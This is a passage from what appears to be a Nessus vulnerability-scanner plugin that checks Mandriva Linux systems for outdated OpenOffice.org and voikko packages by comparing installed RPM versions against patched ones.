value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-zh_TW\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-l10n-zu\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-math\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-mono\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-openclipart\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-pdfimport\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-presentation-minimizer\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-presenter-screen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-pyuno\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-crystal\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-galaxy\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-hicontrast\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-industrial\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-oxygen\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-style-tango\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-testtool\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-voikko\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-wiki-publisher\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:openoffice.org-writer\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:mandriva:linux:voikko-tools\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2009.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2010.0\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:mandriva:linux:2010.1\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2010/11/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2010/11/07\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Mandriva Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/Mandrake/release\", \"Host/Mandrake/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Mandrake/release\")) audit(AUDIT_OS_NOT, \"Mandriva / Mandake Linux\");\nif (!get_kb_item(\"Host/Mandrake/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^(amd64|i[3-6]86|x86_64)$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Mandriva / Mandrake Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"MDK2009.0\", cpu:\"x86_64\", reference:\"lib64voikko-devel-2.2.1-0.1mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", cpu:\"x86_64\", reference:\"lib64voikko1-2.2.1-0.1mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", cpu:\"i386\", reference:\"libvoikko-devel-2.2.1-0.1mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", cpu:\"i386\", reference:\"libvoikko1-2.2.1-0.1mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-base-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-calc-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-common-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-core-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-devel-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-devel-doc-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-draw-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-filter-binfilter-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-gnome-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-af-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-ar-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-bg-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-br-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-bs-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-ca-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-cs-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-cy-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-da-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-de-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-el-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-en_GB-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-en_US-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-es-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-et-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-eu-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-fi-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-fr-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-he-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-hi-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-hu-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-it-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-ja-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-ko-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-mk-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-nb-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-nl-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-nn-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-pl-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-pt-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-pt_BR-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-ru-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-sk-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-sl-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-sv-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-ta-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-tr-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-zh_CN-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-zh_TW-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-help-zu-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-impress-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-java-common-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-af-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-ar-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-bg-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-br-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-bs-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-ca-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-cs-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-cy-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-da-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-de-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-el-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-en_GB-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-es-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-et-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-eu-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-fi-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-fr-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-he-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-hi-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-hu-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-it-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-ja-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-ko-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-mk-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-nb-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-nl-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-nn-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-pl-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-pt-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-pt_BR-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-ru-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-sk-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-sl-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-sv-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-ta-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-tr-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-zh_CN-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-zh_TW-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-l10n-zu-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-math-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-mono-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-openclipart-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-pdfimport-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-presentation-minimizer-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-presenter-screen-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-pyuno-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-style-crystal-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-style-galaxy-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-style-hicontrast-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-style-industrial-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-style-tango-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-testtool-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-voikko-3.1-0.1mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-wiki-publisher-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"openoffice.org-writer-3.1.1-0.7mdv2009.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2009.0\", reference:\"voikko-tools-2.2.1-0.1mdv2009.0\", yank:\"mdv\")) flag++;\n\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-base-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-calc-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-common-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-core-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-devel-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-devel-doc-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-draw-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-filter-binfilter-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-gnome-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-af-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ar-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-bg-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-br-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-bs-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ca-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-cs-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-cy-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-da-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-de-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-el-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-en_GB-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-en_US-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-es-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-et-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-eu-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-fi-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-fr-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-he-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-hi-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-hu-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-it-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ja-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ko-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-mk-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-nb-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-nl-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-nn-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-pl-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-pt-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-pt_BR-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ru-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-sk-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-sl-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-sv-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-ta-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-tr-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-zh_CN-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-zh_TW-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-help-zu-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-impress-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-java-common-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-af-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ar-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-bg-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-br-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-bs-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-ca-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-cs-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-cy-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-da-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-de-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-el-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-en_GB-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-es-3.1.1-2.6mdv2010.0\", yank:\"mdv\")) flag++;\nif (rpm_check(release:\"MDK2010.0\", reference:\"openoffice.org-l10n-et-3.1.1-2.6mdv2010.0\", 